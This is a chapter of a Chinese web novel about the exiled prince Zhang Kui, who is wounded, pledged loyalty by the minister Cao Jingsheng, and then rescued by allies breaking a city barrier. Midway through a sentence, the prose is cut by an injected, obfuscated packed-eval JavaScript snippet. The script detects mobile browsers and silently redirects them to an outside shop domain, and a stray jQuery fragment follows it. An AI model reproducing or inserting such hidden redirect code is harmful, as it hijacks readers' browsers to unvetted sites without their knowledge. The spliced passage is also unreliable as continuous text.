文趣网 > 都市小说 > 乌衣白仙 > 42. 负伤
    “不光是我们二人,曹敬生还有好多人都没摔。”史成明看着官印上依旧闪烁的细碎金光,目光变得有些沉重,“当年我们被带走后并不是一路无阻,而是在原城主城外被金觉拦住了,她说只要我们交出龙气她便会护送所有人安全离开,当时大家家中的老人孩子都在,还多多少少带了些邻里,多数人便答应了。”

    “听说原城被屠的时候,很多人怅然泪下,觉得失了职对不起陛下、娘娘和原城百姓,大部分人安顿好家人后想方设法潜进皇城或者大赤天,为的就是能为原城报仇雪恨。”

    他说着眼里泛起泪花,“再后来有人不愿伪软直接袭击皇城当场被毙,有人暴露身份被歹人利用功亏一篑,有人寿命终近连墓都没来得及立便去了……到现在只剩下我们三个。”

    听完他说的这些徐佳总觉得哪里很奇怪,想了很久,终于意识到奇怪的是哪里——

    张泰云当时把天道龙气分成了两份,一份护送大臣们出原城,另一份则留在他身边用来自保,徐佳和李墨琛一开始的猜想是张泰云自留的那缕在他死后藏入了地底,她们到原城皇宫外时被张逵的手帕引出,破除幻象入云散尽,而她在旧址皇宫的那场梦境里看到的飞进郑尽官印的那缕则是因为将臣们同样糟了险,原主死后循着本能自己回到了皇宫。

    可这些大臣没有遭险,带他们出城的龙气也并没有回去而是被金觉要走了,那平白多出来的这一缕龙气是什么情况。

    被李墨琛拉出梦境时只是匆忙看了一眼,徐佳只知道有缕金色的东西飞到了郑尽的官印当中,因为见过龙气长什么样,便猜测是龙气。

    要么是她们猜错了那根本就不是什么天道龙气,要么是世间本来就有三缕龙气,连张泰云都不知道。至于是不是出自于同一个主体……

    她又想起张逵说的:他的把柄就在郑尽的官印中。

    官印里能有什么,除了郑尽自己的一角魂魄,便只有那缕金色的东西。

    ……所以那缕金色的东西便是张逵口中的,他的“把柄。”

    *

    雨声凄厉,各条街道都有王兵悉索的脚步声,平日里连乞丐都不愿意待的小角落都被翻了个底朝天,但一直到天亮他们也没有找到张逵。

    皇城百姓也跟着一夜未眠,全部封窗闭门,胆战心惊不敢发出一丁点动静,直到外面响起了王兵的口令:“开始第二轮搜查,挨家挨户敲门,进去搜,若是有抵抗或包庇者直接判同罪。”

    此时,一个毫不起眼的废谷仓里响起几声低咳。

    外面地上的血迹不断被雨水冲刷着,张逵靠在仓柱上从身上撤下一段衣布给左腰的伤口包扎,他身前立着一个人,想伸手帮忙却显得有些畏缩,只能不断用眼睛瞟外面,看有没有皇兵搜来。

    “我凭何要信你?”张逵没看他,继续手上的动作,“郑尽的官印也没摔,也代表着他没有背叛原城,可事实是他亲手杀了原城皇室,现在同样打着为原城报仇的旗号满城搜捕我。”

    打好最后一个结,他将衣衫重新理好,雪白的衣摆上溅了几滴鲜红,它们被雨水打散变得突兀,更加触目惊心,张逵看着那些血迹微微蹙了一下眉。

    “而且你们要报仇本质上与我无关,又为何要救我?你大可以在皇兵追出后趁郑尽不备一击刺杀,”他有意压低声音,眸色却很锋利,“你是要为原城报仇,还是要活擒我向郑尽邀功。”

    “哎呀哎呀。”曹敬生急得团团转,脸上表情像要哭出来了似的,手心快要被搓出来火星子,“我是真的来救你的,殿下。大赤天被郑尽利用完就扔了,我们也不瞎,潜伏的同时慢慢摸索出了他的目的和脾性,无非就是觉得天道不公害他失去亲人,又看不惯陛下的治国方策,非要证明自己的那什么有为而治才是对的。”

    “但很显然不对啊,有为而治从根源上就是错的。我和史成明他们都是曾在乾心殿里立过誓的,发誓会一世辅佐明君,但郑尽他根本就不是明君啊。”

    “嗯。”张逵微微颔首,有些赞同他的话,但锋利未减一分,“所以你是想利用我?”

    “哎呀殿下,此话可不能讲啊,我真的没有二心。”曹敬生巴巴看着他,“你是原城皇室仅存的血脉,是我们本该效忠的人,必须要救,哪怕以我一命换一命也要救。要是知道你改名为张逵又在青极宗修行我们三个早去青极宗找你了,哪还能让你吃这么多苦。”

    雨水的嘀嗒声中混着响起三两声抽泣,张逵听得十分清晰。

    ……多大人了,说两句话就哭。

    讲真的,他现在看谁都像郑尽,前一秒还满面灿烂的跟他干杯,后一秒就能翻脸不认人。

    两万精兵,他精挑细选又一个一个亲手训练,十几年的精心筹划,即使在青极宗修行课业繁重时也不敢松懈一分,白天没时间就晚上偷摸点手灯用功,到头来却成了一张皇城哪怕没有人兽混血也照样天下无敌的自负牌。

    相当可笑,不是么。

    明明很早以前就可以直接杀了郑尽,却因为“把柄”杀不得,明明恨入骨髓,却被贼喊捉贼,自己反倒成了导致人兽暴动的罪魁祸首。

    这是胜利么,张逵有些恍惚,是在了却他这十二年里那些不能言说的遗憾吧。

    他做的这些又何尝不与曹敬生他们殊途同归呢。

    ……

    天道啊,有些玩过了吧。

    周围带着潮湿的气息愈发冰冷,空气中隐隐响起冰块的凝结声,曹敬生在仓下探出半个身子——天上竟真的飘起了雪。

    明明都立春了居然还能飘雪!

    一定是老天爷发怒了!

    他的额上生生被逼出了几滴冷汗,就要跪下去,“臣有罪……臣知错。”

    “你没有错。”张逵把他从地上拽起来,冷冷往天上看了一眼,“爱家护民忠国重义果敢,原城有你们这样的将臣是它千百年来积攒的福气。”

    曹敬生简直不敢相信自己的耳朵,愣愣抬头看张逵,眼前的这副眉眼气场让他突然觉得张泰云就站在自己面前——那个让他夜夜忏悔辗转无眠的国君。

    ……双腿又是一软,他又跪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745686|204260||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了下去,当即双掌合抱:“蒲丹虽亡,血脉尤在,明君亦存,臣斗胆追随殿下。臣手下的三万私兵殿下今后可随意调用,臣府宅存备的二十单粮草殿下亦可随意支配,臣愿为殿下赴汤蹈火。”

    “你怎知我是明君,又怎知我会将蒲丹精神延续下去,若我最后打不赢郑尽呢?”张逵不动声色。

    “殿下可以不信臣,但臣信殿下不需要理由,就像当年陛下信我们不会真正丢下原城不管一样,此乃蒲丹臣子的毕生荣耀。”曹敬生道。

    空气沉寂了许久,寒冷逐渐从潮湿的地面传进双腿,雪花落到地面仿佛也有了声音。

    终于,他听到张逵轻笑了一声,开口时竟有些沙哑:“此亦乃我之荣耀。”

    张逵上前把他扶起,给他掸了掸膝上沾的污渍,气场温和下来:“不过我要强调一点,我不是改名了,而是给自己赐字为逵,望自己时常以此为戒提警自身。以后你唤我表字就可,在我面前也不需要称臣,你也好,史成明、王将蔺也好,都从来只是蒲丹的将臣。”

    “殿……”曹敬生拍了一下自己的脸,有些僵硬的笑了笑,“我嘴笨,恐怕一时改不过来。”

    他又道:“但我也同样不觉得殿下有什么错,殿下一直都是蒲丹千百年来最最骄傲的小皇子,再过千百年也不会改变。”

    不远处传来皇兵的脚步声,曹敬生刚要开口让张逵快跑他去吸引火力,就见张逵抬手按在他肩上:“赴汤蹈火也用不着这么着急,史成明和王将蔺还在城外等你。你碰到皇兵就先装傻拖延时间,我去跟他们耗。”

    他说完便冲了出去。

    *

    徐佳等人遇到萧泽天时他正徒脚往临时营跑,他法力耗尽衣服上还有血,但身上并没有大伤。

    就听他边喘气边指着皇城的方向道:“快,快去救张逵,他正被郑尽封杀,恐怕坚持不了多久了。”

    “畜牲,帮他打赢了仗还要得寸进尺。”徐佳气上心头,翻上禁气就往皇城赶。

    到大阵外时李墨琛刚好回来。

    “怎么这么快?”她从禁气身上翻下。

    李墨琛双手一挥,身后出现了十几只灵兽,“它们自己出来找我了。”

    因为担心会失控吸灵气,李墨琛在兵营期间一直没有去灵兽界接灵兽们,但他现在法力大不如之前,直接来怕是连封城大阵都砸不碎。

    他的这些灵兽就像是有心灵感应一样,给大家省了不少时间。

    出现的同时红角天蜈直接对着大阵重重撞了上去——

    “轰”的一声,徐佳只觉得耳朵疼,回过神来却发现大阵未被撼动丝毫。

    下一瞬栖乾鹿背后升起一棵巨树虚影,其他灵兽一齐对着大阵施展神通——

    ——大阵底部有了一些松动,但很快便又恢复的坚不可摧。

    “你大爷的。天级别的大阵,这是要把张逵往死里逼。”

    黑气缭绕,李墨琛腾空而起,血纹一瞬蔓延到了下巴,繁生花的红光直接从那些血纹里散发出来,仿佛开裂了一般。